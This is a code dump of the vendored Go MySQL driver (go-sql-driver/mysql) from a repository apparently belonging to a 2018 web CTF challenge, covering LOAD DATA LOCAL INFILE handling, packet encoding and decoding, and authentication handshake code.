"sync" ) var ( fileRegister map[string]bool fileRegisterLock sync.RWMutex readerRegister map[string]func() io.Reader readerRegisterLock sync.RWMutex ) // RegisterLocalFile adds the given file to the file whitelist, // so that it can be used by "LOAD DATA LOCAL INFILE ". // Alternatively you can allow the use of all local files with // the DSN parameter 'allowAllFiles=true' // // filePath := "/home/gopher/data.csv" // mysql.RegisterLocalFile(filePath) // err := db.Exec("LOAD DATA LOCAL INFILE '" + filePath + "' INTO TABLE foo") // if err != nil { // ... // func RegisterLocalFile(filePath string) { fileRegisterLock.Lock() // lazy map init if fileRegister == nil { fileRegister = make(map[string]bool) } fileRegister[strings.Trim(filePath, `"`)] = true fileRegisterLock.Unlock() } // DeregisterLocalFile removes the given filepath from the whitelist. func DeregisterLocalFile(filePath string) { fileRegisterLock.Lock() delete(fileRegister, strings.Trim(filePath, `"`)) fileRegisterLock.Unlock() } // RegisterReaderHandler registers a handler function which is used // to receive a io.Reader. // The Reader can be used by "LOAD DATA LOCAL INFILE Reader::". // If the handler returns a io.ReadCloser Close() is called when the // request is finished. // // mysql.RegisterReaderHandler("data", func() io.Reader { // var csvReader io.Reader // Some Reader that returns CSV data // ... // Open Reader here // return csvReader // }) // err := db.Exec("LOAD DATA LOCAL INFILE 'Reader::data' INTO TABLE foo") // if err != nil { // ... // func RegisterReaderHandler(name string, handler func() io.Reader) { readerRegisterLock.Lock() // lazy map init if readerRegister == nil { readerRegister = make(map[string]func() io.Reader) } readerRegister[name] = handler readerRegisterLock.Unlock() } // DeregisterReaderHandler removes the ReaderHandler function with // the given name from the registry. func DeregisterReaderHandler(name string) { readerRegisterLock.Lock() delete(readerRegister, name) readerRegisterLock.Unlock() } func deferredClose(err *error, closer io.Closer) { closeErr := closer.Close() if *err == nil { *err = closeErr } } func (mc *mysqlConn) handleInFileRequest(name string) (err error) { var rdr io.Reader var data []byte packetSize := 16 * 1024 // 16KB is small enough for disk readahead and large enough for TCP if mc.maxWriteSize < packetSize { packetSize = mc.maxWriteSize } if idx := strings.Index(name, "Reader::"); idx == 0 || (idx > 0 && name[idx-1] == '/') { // io.Reader // The server might return an an absolute path. See issue #355. name = name[idx+8:] readerRegisterLock.RLock() handler, inMap := readerRegister[name] readerRegisterLock.RUnlock() if inMap { rdr = handler() if rdr != nil { if cl, ok := rdr.(io.Closer); ok { defer deferredClose(&err, cl) } } else { err = fmt.Errorf("Reader '%s' is ", name) } } else { err = fmt.Errorf("Reader '%s' is not registered", name) } } else { // File name = strings.Trim(name, `"`) fileRegisterLock.RLock() fr := fileRegister[name] fileRegisterLock.RUnlock() if mc.cfg.AllowAllFiles || fr { var file *os.File var fi os.FileInfo if file, err = os.Open(name); err == nil { defer deferredClose(&err, file) // get file size if fi, err = file.Stat(); err == nil { rdr = file if fileSize := int(fi.Size()); fileSize < packetSize { packetSize = fileSize } } } } else { err = fmt.Errorf("local file '%s' is not registered", name) } } // send content packets if err == nil { data := make([]byte, 4+packetSize) var n int for err == nil { n, err = rdr.Read(data[4:]) if n > 0 { if ioErr := mc.writePacket(data[:4+n]); ioErr != nil { return ioErr } } } if err == io.EOF { err = nil } } // send empty packet (termination) if data == nil { data = make([]byte, 4) } if ioErr := mc.writePacket(data[:4]); ioErr != nil { return ioErr } // read OK packet if err == nil { _, err = mc.readResultOK() return err } mc.readPacket() return err } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/packets.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2012 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "bytes" "crypto/tls" "database/sql/driver" "encoding/binary" "errors" "fmt" "io" "math" "time" ) // Packets documentation: // http://dev.mysql.com/doc/internals/en/client-server-protocol.html // Read packet to buffer 'data' func (mc *mysqlConn) readPacket() ([]byte, error) { var prevData []byte for { // read packet header data, err := mc.buf.readNext(4) if err != nil { errLog.Print(err) mc.Close() return nil, driver.ErrBadConn } // packet length [24 bit] pktLen := int(uint32(data[0]) | uint32(data[1])<<8 | uint32(data[2])<<16) // check packet sync [8 bit] if data[3] != mc.sequence { if data[3] > mc.sequence { return nil, ErrPktSyncMul } return nil, ErrPktSync } mc.sequence++ // packets with length 0 terminate a previous packet which is a // multiple of (2^24)−1 bytes long if pktLen == 0 { // there was no previous packet if prevData == nil { errLog.Print(ErrMalformPkt) mc.Close() return nil, driver.ErrBadConn } return prevData, nil } // read packet body [pktLen bytes] data, err = mc.buf.readNext(pktLen) if err != nil { errLog.Print(err) mc.Close() return nil, driver.ErrBadConn } // return data if this was the last packet if pktLen < maxPacketSize { // zero allocations for non-split packets if prevData == nil { return data, nil } return append(prevData, data...), nil } prevData = append(prevData, data...) } } // Write packet buffer 'data' func (mc *mysqlConn) writePacket(data []byte) error { pktLen := len(data) - 4 if pktLen > mc.maxAllowedPacket { return ErrPktTooLarge } for { var size int if pktLen >= maxPacketSize { data[0] = 0xff data[1] = 0xff data[2] = 0xff size = maxPacketSize } else { data[0] = byte(pktLen) data[1] = byte(pktLen >> 8) data[2] = byte(pktLen >> 16) size = pktLen } data[3] = mc.sequence // Write packet if mc.writeTimeout > 0 { if err := mc.netConn.SetWriteDeadline(time.Now().Add(mc.writeTimeout)); err != nil { return err } } n, err := mc.netConn.Write(data[:4+size]) if err == nil && n == 4+size { mc.sequence++ if size != maxPacketSize { return nil } pktLen -= size data = data[size:] continue } // Handle error if err == nil { // n != len(data) errLog.Print(ErrMalformPkt) } else { errLog.Print(err) } return driver.ErrBadConn } } /****************************************************************************** * Initialisation Process * ******************************************************************************/ // Handshake Initialization Packet // http://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake func (mc *mysqlConn) readInitPacket() ([]byte, error) { data, err := mc.readPacket() if err != nil { return nil, err } if data[0] == iERR { return nil, mc.handleErrorPacket(data) } // protocol version [1 byte] if data[0] < minProtocolVersion { return nil, fmt.Errorf( "unsupported protocol version %d. Version %d or higher is required", data[0], minProtocolVersion, ) } // server version [null terminated string] // connection id [4 bytes] pos := 1 + bytes.IndexByte(data[1:], 0x00) + 1 + 4 // first part of the password cipher [8 bytes] cipher := data[pos : pos+8] // (filler) always 0x00 [1 byte] pos += 8 + 1 // capability flags (lower 2 bytes) [2 bytes] mc.flags = clientFlag(binary.LittleEndian.Uint16(data[pos : pos+2])) if mc.flags&clientProtocol41 == 0 { return nil, ErrOldProtocol } if mc.flags&clientSSL == 0 && mc.cfg.tls != nil { return nil, ErrNoTLS } pos += 2 if len(data) > pos { // character set [1 byte] // status flags [2 bytes] // capability flags (upper 2 bytes) [2 bytes] // length of auth-plugin-data [1 byte] // reserved (all [00]) [10 bytes] pos += 1 + 2 + 2 + 1 + 10 // second part of the password cipher [mininum 13 bytes], // where len=MAX(13, length of auth-plugin-data - 8) // // The web documentation is ambiguous about the length. However, // according to mysql-5.7/sql/auth/sql_authentication.cc line 538, // the 13th byte is "\0 byte, terminating the second part of // a scramble". So the second part of the password cipher is // a NULL terminated string that's at least 13 bytes with the // last byte being NULL. // // The official Python library uses the fixed length 12 // which seems to work but technically could have a hidden bug. cipher = append(cipher, data[pos:pos+12]...) // TODO: Verify string termination // EOF if version (>= 5.5.7 and < 5.5.10) or (>= 5.6.0 and < 5.6.2) // \NUL otherwise // //if data[len(data)-1] == 0 { // return //} //return ErrMalformPkt // make a memory safe copy of the cipher slice var b [20]byte copy(b[:], cipher) return b[:], nil } // make a memory safe copy of the cipher slice var b [8]byte copy(b[:], cipher) return b[:], nil } // Client Authentication Packet // http://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::HandshakeResponse func (mc *mysqlConn) writeAuthPacket(cipher []byte) error { // Adjust client flags based on server support clientFlags := clientProtocol41 | clientSecureConn | clientLongPassword | clientTransactions | clientLocalFiles | clientPluginAuth | clientMultiResults | mc.flags&clientLongFlag if mc.cfg.ClientFoundRows { clientFlags |= clientFoundRows } // To enable TLS / SSL if mc.cfg.tls != nil { clientFlags |= clientSSL } if mc.cfg.MultiStatements { clientFlags |= clientMultiStatements } // User Password scrambleBuff := scramblePassword(cipher, []byte(mc.cfg.Passwd)) pktLen := 4 + 4 + 1 + 23 + len(mc.cfg.User) + 1 + 1 + len(scrambleBuff) + 21 + 1 // To specify a db name if n := len(mc.cfg.DBName); n > 0 { clientFlags |= clientConnectWithDB pktLen += n + 1 } // Calculate packet length and get buffer with that size data := mc.buf.takeSmallBuffer(pktLen + 4) if data == nil { // can not take the buffer. Something must be wrong with the connection errLog.Print(ErrBusyBuffer) return driver.ErrBadConn } // ClientFlags [32 bit] data[4] = byte(clientFlags) data[5] = byte(clientFlags >> 8) data[6] = byte(clientFlags >> 16) data[7] = byte(clientFlags >> 24) // MaxPacketSize [32 bit] (none) data[8] = 0x00 data[9] = 0x00 data[10] = 0x00 data[11] = 0x00 // Charset [1 byte] var found bool data[12], found = collations[mc.cfg.Collation] if !found { // Note possibility for false negatives: // could be triggered although the collation is valid if the // collations map does not contain entries the server supports. return errors.New("unknown collation") } // SSL Connection Request Packet // http://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::SSLRequest if mc.cfg.tls != nil { // Send TLS / SSL request packet if err := mc.writePacket(data[:(4+4+1+23)+4]); err != nil { return err } // Switch to TLS tlsConn := tls.Client(mc.netConn, mc.cfg.tls) if err := tlsConn.Handshake(); err != nil { return err } mc.netConn = tlsConn mc.buf.nc = tlsConn } // Filler [23 bytes] (all 0x00) pos := 13 for ; pos < 13+23; pos++ { data[pos] = 0 } // User [null terminated string] if len(mc.cfg.User) > 0 { pos += copy(data[pos:], mc.cfg.User) } data[pos] = 0x00 pos++ // ScrambleBuffer [length encoded integer] data[pos] = byte(len(scrambleBuff)) pos += 1 + copy(data[pos+1:], scrambleBuff) // Databasename [null terminated string] if len(mc.cfg.DBName) > 0 { pos += copy(data[pos:], mc.cfg.DBName) data[pos] = 0x00 pos++ } // Assume native client during response pos += copy(data[pos:], "mysql_native_password") data[pos] = 0x00 // Send Auth packet return mc.writePacket(data) } // Client old authentication packet // http://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::AuthSwitchResponse func (mc *mysqlConn) writeOldAuthPacket(cipher []byte) error { // User password scrambleBuff := scrambleOldPassword(cipher, []byte(mc.cfg.Passwd)) // Calculate the packet length and add a tailing 0 pktLen := len(scrambleBuff) + 1 data := mc.buf.takeSmallBuffer(4 + pktLen) if data == nil { // can not take the buffer. Something must be wrong with the connection errLog.Print(ErrBusyBuffer) return driver.ErrBadConn } // Add the scrambled password [null terminated string] copy(data[4:], scrambleBuff) data[4+pktLen-1] = 0x00 return mc.writePacket(data) } // Client clear text authentication packet // http://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::AuthSwitchResponse func (mc *mysqlConn) writeClearAuthPacket() error { // Calculate the packet length and add a tailing 0 pktLen := len(mc.cfg.Passwd) + 1 data := mc.buf.takeSmallBuffer(4 + pktLen) if data == nil { // can not take the buffer. Something must be wrong with the connection errLog.Print(ErrBusyBuffer) return driver.ErrBadConn } // Add the clear password [null terminated string] copy(data[4:], mc.cfg.Passwd) data[4+pktLen-1] = 0x00 return mc.writePacket(data) } // Native password authentication method // http://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::AuthSwitchResponse func (mc *mysqlConn) writeNativeAuthPacket(cipher []byte) error { scrambleBuff := scramblePassword(cipher, []byte(mc.cfg.Passwd)) // Calculate the packet length and add a tailing 0 pktLen := len(scrambleBuff) data := mc.buf.takeSmallBuffer(4 + pktLen) if data == nil { // can not take the buffer. Something must be wrong with the connection errLog.Print(ErrBusyBuffer) return driver.ErrBadConn } // Add the scramble copy(data[4:], scrambleBuff) return mc.writePacket(data) } /****************************************************************************** * Command Packets * ******************************************************************************/ func (mc *mysqlConn) writeCommandPacket(command byte) error { // Reset Packet Sequence mc.sequence = 0 data := mc.buf.takeSmallBuffer(4 + 1) if data == nil { // can not take the buffer. Something must be wrong with the connection errLog.Print(ErrBusyBuffer) return driver.ErrBadConn } // Add command byte data[4] = command // Send CMD packet return mc.writePacket(data) } func (mc *mysqlConn) writeCommandPacketStr(command byte, arg string) error { // Reset Packet Sequence mc.sequence = 0 pktLen := 1 + len(arg) data := mc.buf.takeBuffer(pktLen + 4) if data == nil { // can not take the buffer. Something must be wrong with the connection errLog.Print(ErrBusyBuffer) return driver.ErrBadConn } // Add command byte data[4] = command // Add arg copy(data[5:], arg) // Send CMD packet return mc.writePacket(data) } func (mc *mysqlConn) writeCommandPacketUint32(command byte, arg uint32) error { // Reset Packet Sequence mc.sequence = 0 data := mc.buf.takeSmallBuffer(4 + 1 + 4) if data == nil { // can not take the buffer. Something must be wrong with the connection errLog.Print(ErrBusyBuffer) return driver.ErrBadConn } // Add command byte data[4] = command // Add arg [32 bit] data[5] = byte(arg) data[6] = byte(arg >> 8) data[7] = byte(arg >> 16) data[8] = byte(arg >> 24) // Send CMD packet return mc.writePacket(data) } /****************************************************************************** * Result Packets * ******************************************************************************/ // Returns error if Packet is not an 'Result OK'-Packet func (mc *mysqlConn) readResultOK() ([]byte, error) { data, err := mc.readPacket() if err == nil { // packet indicator switch data[0] { case iOK: return nil, mc.handleOkPacket(data) case iEOF: if len(data) > 1 { pluginEndIndex := bytes.IndexByte(data, 0x00) plugin := string(data[1:pluginEndIndex]) cipher := data[pluginEndIndex+1 : len(data)-1] if plugin == "mysql_old_password" { // using old_passwords return cipher, ErrOldPassword } else if plugin == "mysql_clear_password" { // using clear text password return cipher, ErrCleartextPassword } else if plugin == "mysql_native_password" { // using mysql default authentication method return cipher, ErrNativePassword } else { return cipher, ErrUnknownPlugin } } else { // https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::OldAuthSwitchRequest return nil, ErrOldPassword } default: // Error otherwise return nil, mc.handleErrorPacket(data) } } return nil, err } // Result Set Header Packet // http://dev.mysql.com/doc/internals/en/com-query-response.html#packet-ProtocolText::Resultset func (mc *mysqlConn) readResultSetHeaderPacket() (int, error) { data, err := mc.readPacket() if err == nil { switch data[0] { case iOK: return 0, mc.handleOkPacket(data) case iERR: return 0, mc.handleErrorPacket(data) case iLocalInFile: return 0, mc.handleInFileRequest(string(data[1:])) } // column count num, _, n := readLengthEncodedInteger(data) if n-len(data) == 0 { return int(num), nil } return 0, ErrMalformPkt } return 0, err } // Error Packet // http://dev.mysql.com/doc/internals/en/generic-response-packets.html#packet-ERR_Packet func (mc *mysqlConn) handleErrorPacket(data []byte) error { if data[0] != iERR { return ErrMalformPkt } // 0xff [1 byte] // Error Number [16 bit uint] errno := binary.LittleEndian.Uint16(data[1:3]) pos := 3 // SQL State [optional: # + 5bytes string] if data[3] == 0x23 { //sqlstate := string(data[4 : 4+5]) pos = 9 } // Error Message [string] return &MySQLError{ Number: errno, Message: string(data[pos:]), } } func readStatus(b []byte) statusFlag { return statusFlag(b[0]) | statusFlag(b[1])<<8 } // Ok Packet // http://dev.mysql.com/doc/internals/en/generic-response-packets.html#packet-OK_Packet func (mc *mysqlConn) handleOkPacket(data []byte) error { var n, m int // 0x00 [1 byte] // Affected rows [Length Coded Binary] mc.affectedRows, _, n = readLengthEncodedInteger(data[1:]) // Insert id [Length Coded Binary] mc.insertId, _, m = readLengthEncodedInteger(data[1+n:]) // server_status [2 bytes] mc.status = readStatus(data[1+n+m : 1+n+m+2]) if err := mc.discardResults(); err != nil { return err } // warning count [2 bytes] if !mc.strict { return nil } pos := 1 + n + m + 2 if binary.LittleEndian.Uint16(data[pos:pos+2]) > 0 { return mc.getWarnings() } return nil } // Read Packets as Field Packets until EOF-Packet or an Error appears // http://dev.mysql.com/doc/internals/en/com-query-response.html#packet-Protocol::ColumnDefinition41 func (mc *mysqlConn) readColumns(count int) ([]mysqlField, error) { columns := make([]mysqlField, count) for i := 0; ; i++ { data, err := mc.readPacket() if err != nil { return nil, err } // EOF Packet if data[0] == iEOF && (len(data) == 5 || len(data) == 1) { if i == count { return columns, nil } return nil, fmt.Errorf("column count mismatch n:%d len:%d", count, len(columns)) } // Catalog pos, err := skipLengthEncodedString(data) if err != nil { return nil, err } // Database [len coded string] n, err := skipLengthEncodedString(data[pos:]) if err != nil { return nil, err } pos += n // Table [len coded string] if mc.cfg.ColumnsWithAlias { tableName, _, n, err := readLengthEncodedString(data[pos:]) if err != nil { return nil, err } pos += n columns[i].tableName = string(tableName) } else { n, err = skipLengthEncodedString(data[pos:]) if err != nil { return nil, err } pos += n } // Original table [len coded string] n, err = skipLengthEncodedString(data[pos:]) if err != nil { return nil, err } pos += n // Name [len coded string] name, _, n, err := readLengthEncodedString(data[pos:]) if err != nil { return nil, err } columns[i].name = string(name) pos += n // Original name [len coded string] n, err = skipLengthEncodedString(data[pos:]) if err != nil { return nil, err } // Filler [uint8] // Charset [charset, collation uint8] // Length [uint32] pos += n + 1 + 2 + 4 // Field type [uint8] columns[i].fieldType = data[pos] pos++ // Flags [uint16] columns[i].flags = fieldFlag(binary.LittleEndian.Uint16(data[pos : pos+2])) pos += 2 // Decimals [uint8] columns[i].decimals = data[pos] //pos++ // Default value [len coded binary] //if pos < len(data) { // defaultVal, _, err = bytesToLengthCodedBinary(data[pos:]) //} } } // Read Packets as Field Packets until EOF-Packet or an Error appears // http://dev.mysql.com/doc/internals/en/com-query-response.html#packet-ProtocolText::ResultsetRow func (rows *textRows) readRow(dest []driver.Value) error { mc := rows.mc data, err := mc.readPacket() if err != nil { return err } // EOF Packet if data[0] == iEOF && len(data) == 5 { // server_status [2 bytes] rows.mc.status = readStatus(data[3:]) err = rows.mc.discardResults() if err == nil { err = io.EOF } else { // connection unusable rows.mc.Close() } rows.mc = nil return err } if data[0] == iERR { rows.mc = nil return mc.handleErrorPacket(data) } // RowSet Packet var n int var isNull bool pos := 0 for i := range dest { // Read bytes and convert to string dest[i], isNull, n, err = readLengthEncodedString(data[pos:]) pos += n if err == nil { if !isNull { if !mc.parseTime { continue } else { switch rows.columns[i].fieldType { case fieldTypeTimestamp, fieldTypeDateTime, fieldTypeDate, fieldTypeNewDate: dest[i], err = parseDateTime( string(dest[i].([]byte)), mc.cfg.Loc, ) if err == nil { continue } default: continue } } } else { dest[i] = nil continue } } return err // err != nil } return nil } // Reads Packets until EOF-Packet or an Error appears. Returns count of Packets read func (mc *mysqlConn) readUntilEOF() error { for { data, err := mc.readPacket() if err != nil { return err } switch data[0] { case iERR: return mc.handleErrorPacket(data) case iEOF: if len(data) == 5 { mc.status = readStatus(data[3:]) } return nil } } } /****************************************************************************** * Prepared Statements * ******************************************************************************/ // Prepare Result Packets // http://dev.mysql.com/doc/internals/en/com-stmt-prepare-response.html func (stmt *mysqlStmt) readPrepareResultPacket() (uint16, error) { data, err := stmt.mc.readPacket() if err == nil { // packet indicator [1 byte] if data[0] != iOK { return 0, stmt.mc.handleErrorPacket(data) } // statement id [4 bytes] stmt.id = binary.LittleEndian.Uint32(data[1:5]) // Column count [16 bit uint] columnCount := binary.LittleEndian.Uint16(data[5:7]) // Param count [16 bit uint] stmt.paramCount = int(binary.LittleEndian.Uint16(data[7:9])) // Reserved [8 bit] // Warning count [16 bit uint] if !stmt.mc.strict { return columnCount, nil } // Check for warnings count > 0, only available in MySQL > 4.1 if len(data) >= 12 && binary.LittleEndian.Uint16(data[10:12]) > 0 { return columnCount, stmt.mc.getWarnings() } return columnCount, nil } return 0, err } // http://dev.mysql.com/doc/internals/en/com-stmt-send-long-data.html func (stmt *mysqlStmt) writeCommandLongData(paramID int, arg []byte) error { maxLen := stmt.mc.maxAllowedPacket - 1 pktLen := maxLen // After the header (bytes 0-3) follows before the data: // 1 byte command // 4 bytes stmtID // 2 bytes paramID const dataOffset = 1 + 4 + 2 // Can not use the write buffer since // a) the buffer is too small // b) it is in use data := make([]byte, 4+1+4+2+len(arg)) copy(data[4+dataOffset:], arg) for argLen := len(arg); argLen > 0; argLen -= pktLen - dataOffset { if dataOffset+argLen < maxLen { pktLen = dataOffset + argLen } stmt.mc.sequence = 0 // Add command byte [1 byte] data[4] = comStmtSendLongData // Add stmtID [32 bit] data[5] = byte(stmt.id) data[6] = byte(stmt.id >> 8) data[7] = byte(stmt.id >> 16) data[8] = byte(stmt.id >> 24) // Add paramID [16 bit] data[9] = byte(paramID) data[10] = byte(paramID >> 8) // Send CMD packet err := stmt.mc.writePacket(data[:4+pktLen]) if err == nil { data = data[pktLen-dataOffset:] continue } return err } // Reset Packet Sequence stmt.mc.sequence = 0 return nil } // Execute Prepared Statement // http://dev.mysql.com/doc/internals/en/com-stmt-execute.html func (stmt *mysqlStmt) writeExecutePacket(args []driver.Value) error { if len(args) != stmt.paramCount { return fmt.Errorf( "argument count mismatch (got: %d; has: %d)", len(args), stmt.paramCount, ) } const minPktLen = 4 + 1 + 4 + 1 + 4 mc := stmt.mc // Reset packet-sequence mc.sequence = 0 var data []byte if len(args) == 0 { data = mc.buf.takeBuffer(minPktLen) } else { data = mc.buf.takeCompleteBuffer() } if data == nil { // can not take the buffer. Something must be wrong with the connection errLog.Print(ErrBusyBuffer) return driver.ErrBadConn } // command [1 byte] data[4] = comStmtExecute // statement_id [4 bytes] data[5] = byte(stmt.id) data[6] = byte(stmt.id >> 8) data[7] = byte(stmt.id >> 16) data[8] = byte(stmt.id >> 24) // flags (0: CURSOR_TYPE_NO_CURSOR) [1 byte] data[9] = 0x00 // iteration_count (uint32(1)) [4 bytes] data[10] = 0x01 data[11] = 0x00 data[12] = 0x00 data[13] = 0x00 if len(args) > 0 { pos := minPktLen var nullMask []byte if maskLen, typesLen := (len(args)+7)/8, 1+2*len(args); pos+maskLen+typesLen >= len(data) { // buffer has to be extended but we don't know by how much so // we depend on append after all data with known sizes fit. // We stop at that because we deal with a lot of columns here // which makes the required allocation size hard to guess. tmp := make([]byte, pos+maskLen+typesLen) copy(tmp[:pos], data[:pos]) data = tmp nullMask = data[pos : pos+maskLen] pos += maskLen } else { nullMask = data[pos : pos+maskLen] for i := 0; i < maskLen; i++ { nullMask[i] = 0 } pos += maskLen } // newParameterBoundFlag 1 [1 byte] data[pos] = 0x01 pos++ // type of each parameter [len(args)*2 bytes] paramTypes := data[pos:] pos += len(args) * 2 // value of each parameter [n bytes] paramValues := data[pos:pos] valuesCap := cap(paramValues) for i, arg := range args { // build NULL-bitmap if arg == nil { nullMask[i/8] |= 1 << (uint(i) & 7) paramTypes[i+i] = fieldTypeNULL paramTypes[i+i+1] = 0x00 continue } // cache types and values switch v := arg.(type) { case int64: paramTypes[i+i] = fieldTypeLongLong paramTypes[i+i+1] = 0x00 if cap(paramValues)-len(paramValues)-8 >= 0 { paramValues = paramValues[:len(paramValues)+8] binary.LittleEndian.PutUint64( paramValues[len(paramValues)-8:], uint64(v), ) } else { paramValues = append(paramValues, uint64ToBytes(uint64(v))..., ) } case float64: paramTypes[i+i] = fieldTypeDouble paramTypes[i+i+1] = 0x00 if cap(paramValues)-len(paramValues)-8 >= 0 { paramValues = paramValues[:len(paramValues)+8] binary.LittleEndian.PutUint64( paramValues[len(paramValues)-8:], math.Float64bits(v), ) } else { paramValues = append(paramValues, uint64ToBytes(math.Float64bits(v))..., ) } case bool: paramTypes[i+i] = fieldTypeTiny paramTypes[i+i+1] = 0x00 if v { paramValues = append(paramValues, 0x01) } else { paramValues = append(paramValues, 0x00) } case []byte: // Common case (non-nil value) first if v != nil { paramTypes[i+i] = fieldTypeString paramTypes[i+i+1] = 0x00 if len(v) < mc.maxAllowedPacket-pos-len(paramValues)-(len(args)-(i+1))*64 { paramValues = appendLengthEncodedInteger(paramValues, uint64(len(v)), ) paramValues = append(paramValues, v...) } else { if err := stmt.writeCommandLongData(i, v); err != nil { return err } } continue } // Handle []byte(nil) as a NULL value nullMask[i/8] |= 1 << (uint(i) & 7) paramTypes[i+i] = fieldTypeNULL paramTypes[i+i+1] = 0x00 case string: paramTypes[i+i] = fieldTypeString paramTypes[i+i+1] = 0x00 if len(v) < mc.maxAllowedPacket-pos-len(paramValues)-(len(args)-(i+1))*64 { paramValues = appendLengthEncodedInteger(paramValues, uint64(len(v)), ) paramValues = append(paramValues, v...) } else { if err := stmt.writeCommandLongData(i, []byte(v)); err != nil { return err } } case time.Time: paramTypes[i+i] = fieldTypeString paramTypes[i+i+1] = 0x00 var val []byte if v.IsZero() { val = []byte("0000-00-00") } else { val = []byte(v.In(mc.cfg.Loc).Format(timeFormat)) } paramValues = appendLengthEncodedInteger(paramValues, uint64(len(val)), ) paramValues = append(paramValues, val...) default: return fmt.Errorf("can not convert type: %T", arg) } } // Check if param values exceeded the available buffer // In that case we must build the data packet with the new values buffer if valuesCap != cap(paramValues) { data = append(data[:pos], paramValues...) mc.buf.buf = data } pos += len(paramValues) data = data[:pos] } return mc.writePacket(data) } func (mc *mysqlConn) discardResults() error { for mc.status&statusMoreResultsExists != 0 { resLen, err := mc.readResultSetHeaderPacket() if err != nil { return err } if resLen > 0 { // columns if err := mc.readUntilEOF(); err != nil { return err } // rows if err := mc.readUntilEOF(); err != nil { return err } } else { mc.status &^= statusMoreResultsExists } } return nil } // http://dev.mysql.com/doc/internals/en/binary-protocol-resultset-row.html func (rows *binaryRows) readRow(dest []driver.Value) error { data, err := rows.mc.readPacket() if err != nil { return err } // packet indicator [1 byte] if data[0] != iOK { // EOF Packet if data[0] == iEOF && len(data) == 5 { rows.mc.status = readStatus(data[3:]) err = rows.mc.discardResults() if err == nil { err = io.EOF } else { // connection unusable rows.mc.Close() } rows.mc = nil return err } rows.mc = nil // Error otherwise return rows.mc.handleErrorPacket(data) } // NULL-bitmap, [(column-count + 7 + 2) / 8 bytes] pos := 1 + (len(dest)+7+2)>>3 nullMask := data[1:pos] for i := range dest { // Field is NULL // (byte >> bit-pos) % 2 == 1 if ((nullMask[(i+2)>>3] >> uint((i+2)&7)) & 1) == 1 { dest[i] = nil continue } // Convert to byte-coded string switch rows.columns[i].fieldType { case fieldTypeNULL: dest[i] = nil continue // Numeric Types case fieldTypeTiny: if rows.columns[i].flags&flagUnsigned != 0 { dest[i] = int64(data[pos]) } else { dest[i] = int64(int8(data[pos])) } pos++ continue case fieldTypeShort, fieldTypeYear: if rows.columns[i].flags&flagUnsigned != 0 { dest[i] = int64(binary.LittleEndian.Uint16(data[pos : pos+2])) } else { dest[i] = int64(int16(binary.LittleEndian.Uint16(data[pos : pos+2]))) } pos += 2 continue case fieldTypeInt24, fieldTypeLong: if rows.columns[i].flags&flagUnsigned != 0 { dest[i] = int64(binary.LittleEndian.Uint32(data[pos : pos+4])) } else { dest[i] = int64(int32(binary.LittleEndian.Uint32(data[pos : pos+4]))) } pos += 4 continue case fieldTypeLongLong: if rows.columns[i].flags&flagUnsigned != 0 { val := binary.LittleEndian.Uint64(data[pos : pos+8]) if val > math.MaxInt64 { dest[i] = uint64ToString(val) } else { dest[i] = int64(val) } } else { dest[i] = int64(binary.LittleEndian.Uint64(data[pos : pos+8])) } pos += 8 continue case fieldTypeFloat: dest[i] = float32(math.Float32frombits(binary.LittleEndian.Uint32(data[pos : pos+4]))) pos += 4 continue case fieldTypeDouble: dest[i] = math.Float64frombits(binary.LittleEndian.Uint64(data[pos : pos+8])) pos += 8 continue // Length coded Binary Strings case fieldTypeDecimal, fieldTypeNewDecimal, fieldTypeVarChar, fieldTypeBit, fieldTypeEnum, fieldTypeSet, fieldTypeTinyBLOB, fieldTypeMediumBLOB, fieldTypeLongBLOB, fieldTypeBLOB, fieldTypeVarString, fieldTypeString, fieldTypeGeometry, fieldTypeJSON: var isNull bool var n int dest[i], isNull, n, err = readLengthEncodedString(data[pos:]) pos += n if err == nil { if !isNull { continue } else { dest[i] = nil continue } } return err case fieldTypeDate, fieldTypeNewDate, // Date YYYY-MM-DD fieldTypeTime, // Time [-][H]HH:MM:SS[.fractal] fieldTypeTimestamp, fieldTypeDateTime: // Timestamp YYYY-MM-DD HH:MM:SS[.fractal] num, isNull, n := readLengthEncodedInteger(data[pos:]) pos += n switch { case isNull: dest[i] = nil continue case rows.columns[i].fieldType == fieldTypeTime: // database/sql does not support an equivalent to TIME, return a string var dstlen uint8 switch decimals := rows.columns[i].decimals; decimals { case 0x00, 0x1f: dstlen = 8 case 1, 2, 3, 4, 5, 6: dstlen = 8 + 1 + decimals default: return fmt.Errorf( "protocol error, illegal decimals value %d", rows.columns[i].decimals, ) } dest[i], err = formatBinaryDateTime(data[pos:pos+int(num)], dstlen, true) case rows.mc.parseTime: dest[i], err = parseBinaryDateTime(num, data[pos:], rows.mc.cfg.Loc) default: var dstlen uint8 if rows.columns[i].fieldType == fieldTypeDate { dstlen = 10 } else { switch decimals := rows.columns[i].decimals; decimals { case 0x00, 0x1f: dstlen = 19 case 1, 2, 3, 4, 5, 6: dstlen = 19 + 1 + decimals default: return fmt.Errorf( "protocol error, illegal decimals value %d", rows.columns[i].decimals, ) } } dest[i], err = formatBinaryDateTime(data[pos:pos+int(num)], dstlen, false) } if err == nil { pos += int(num) continue } else { return err } // Please report if this happens! default: return fmt.Errorf("unknown field type %d", rows.columns[i].fieldType) } } return nil } ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/packets_test.go ================================================ // Go MySQL Driver - A MySQL-Driver for Go's database/sql package // // Copyright 2016 The Go-MySQL-Driver Authors. All rights reserved. // // This Source Code Form is subject to the terms of the Mozilla Public // License, v. 2.0. If a copy of the MPL was not distributed with this file, // You can obtain one at http://mozilla.org/MPL/2.0/. package mysql import ( "database/sql/driver" "errors" "net" "testing" "time" ) var ( errConnClosed = errors.New("connection is closed") errConnTooManyReads = errors.New("too many reads") errConnTooManyWrites 